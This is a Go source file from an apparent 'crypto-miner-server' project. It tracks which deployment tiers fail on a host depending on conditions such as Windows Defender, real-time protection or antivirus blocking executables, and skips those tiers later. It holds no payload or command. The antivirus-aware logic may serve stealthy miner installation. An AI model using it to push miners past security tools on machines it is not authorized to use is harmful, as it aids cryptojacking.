package atlas import ( "fmt" "strings" "crypto-miner-server/internal/db" "crypto-miner-server/internal/strategy" ) // FailureAtlas records conditioned tier failures and derives hard subtree skips. type FailureAtlas struct { db *db.Database } func NewFailureAtlas(database *db.Database) *FailureAtlas { return &FailureAtlas{db: database} } // RecordFailure increments failure counters for each active condition on a failed tier attempt. func (a *FailureAtlas) RecordFailure(fingerprintBucket, tier string, conditions []string) error { if a == nil || a.db == nil || strings.TrimSpace(fingerprintBucket) == "" || strings.TrimSpace(tier) == "" { return nil } tier = normalizeTier(tier) for _, cond := range conditions { cond = strings.TrimSpace(cond) if cond == "" { continue } if err := a.db.UpsertFailureAtlasPattern(fingerprintBucket, cond, tier); err != nil { return err } } return nil } // ShouldSkipSubtree reports whether atlas rules block attempting tier on this fingerprint. func (a *FailureAtlas) ShouldSkipSubtree(fingerprintBucket, tier string, probes ProbeSnapshot, fp strategy.HostFingerprint) bool { if a == nil || a.db == nil { return false } rules, err := a.matchingRules(fingerprintBucket, fp.GOOS, ExtractConditions(fp, probes)) if err != nil { return false } target := normalizeTier(tier) for _, rule := range rules { for _, branch := range rule.Subtree { if normalizeTier(branch) == target { return true } } if tierInSubtree(target, rule.Tier) { return true } } return false } // GetAtlasRules returns active atlas rules for a fingerprint bucket (UI / AI). func (a *FailureAtlas) GetAtlasRules(fingerprintBucket, goos string) ([]AtlasRule, error) { if a == nil || a.db == nil { return nil, nil } patterns, err := a.db.ListFailureAtlasPatterns(fingerprintBucket, goos) if err != nil { return nil, err } return rulesFromPatterns(patterns), nil } // ComputeSkips returns hard skip entries for the current host snapshot. func (a *FailureAtlas) ComputeSkips( fp strategy.HostFingerprint, probes map[string]bool, defenderEnabled, defenderRTP *bool, ) ([]AtlasSkip, error) { if a == nil || a.db == nil { return nil, nil } snap := ProbeSnapshotFromMaps(fp, probes, defenderEnabled, defenderRTP) rules, err := a.matchingRules(fp.Key(), fp.GOOS, ExtractConditions(fp, snap)) if err != nil { return nil, err } seen := make(map[string]bool) var skips []AtlasSkip for _, rule := range rules { for _, branch := range rule.Subtree { key := normalizeTier(branch) + "|" + rule.Condition if seen[key] { continue } seen[key] = true skips = append(skips, AtlasSkip{ Tier: branch, Condition: rule.Condition, Reason: rule.Reason, }) } } return skips, nil } // MergeSkipsIntoStrategy adds atlas hard skips into an adaptive strategy plan. func MergeSkipsIntoStrategy(strat *strategy.AdaptiveStrategy, skips []AtlasSkip) { if strat == nil || len(skips) == 0 { return } have := make(map[string]bool, len(strat.SkipTiers)) for _, t := range strat.SkipTiers { have[normalizeTier(t)] = true } for _, skip := range skips { tier := normalizeTier(skip.Tier) if tier == "" || have[tier] { continue } have[tier] = true strat.SkipTiers = append(strat.SkipTiers, tier) label := strings.ReplaceAll(tier, "_", " ") strat.Reasoning = append(strat.Reasoning, strategy.StrategyReason{ Fact: "Failure atlas: " + label + " blocked under " + conditionLabel(skip.Condition), Inference: skip.Reason, Action: "Hard skip " + label + " subtree", }) } order := make([]string, 0, len(strat.TierOrder)) for _, t := range strat.TierOrder { if !have[normalizeTier(t)] { order = append(order, t) } } strat.TierOrder = order } func (a *FailureAtlas) matchingRules(fingerprintBucket, goos string, activeConditions []string) ([]AtlasRule, error) { patterns, err := a.db.ListFailureAtlasPatterns(fingerprintBucket, goos) if err != nil { return nil, err } active := make(map[string]bool, len(activeConditions)) for _, c := range activeConditions { active[c] = true } var out []AtlasRule for _, p := range patterns { if p.FailCount < MinFailCountForSubtree { continue } if len(active) > 0 && !active[p.Condition] { continue } rule := AtlasRule{ Tier: p.Tier, Condition: p.Condition, FailCount: p.FailCount, FingerprintBucket: p.FingerprintBucket, Subtree: subtreeTiers(p.Tier), Reason: fmt.Sprintf("%d failures with %s", p.FailCount, conditionLabel(p.Condition)), } out = append(out, rule) } return out, nil } func rulesFromPatterns(patterns []db.FailureAtlasPattern) []AtlasRule { out := make([]AtlasRule, 0, len(patterns)) for _, p := range patterns { if p.FailCount < MinFailCountForSubtree { continue } out = append(out, AtlasRule{ Tier: p.Tier, Condition: p.Condition, FailCount: p.FailCount, FingerprintBucket: p.FingerprintBucket, Subtree: subtreeTiers(p.Tier), Reason: fmt.Sprintf("%d failures with %s", p.FailCount, conditionLabel(p.Condition)), }) } return out } func conditionLabel(cond string) string { switch cond { case ConditionDefenderOn: return "Defender on" case ConditionNoDocker: return "no Docker" case ConditionAVBlocksExe: return "AV blocks exe" case ConditionGOOSWindows: return "Windows" case ConditionGOOSLinux: return "Linux" case ConditionGOOSDarwin: return "macOS" case ConditionNoWSL: return "no WSL" case ConditionNoPowerShell: return "no PowerShell" case ConditionNoDotNet: return "no dotnet" case ConditionNoGPU: return "no GPU" default: return strings.ReplaceAll(cond, "_", " ") } }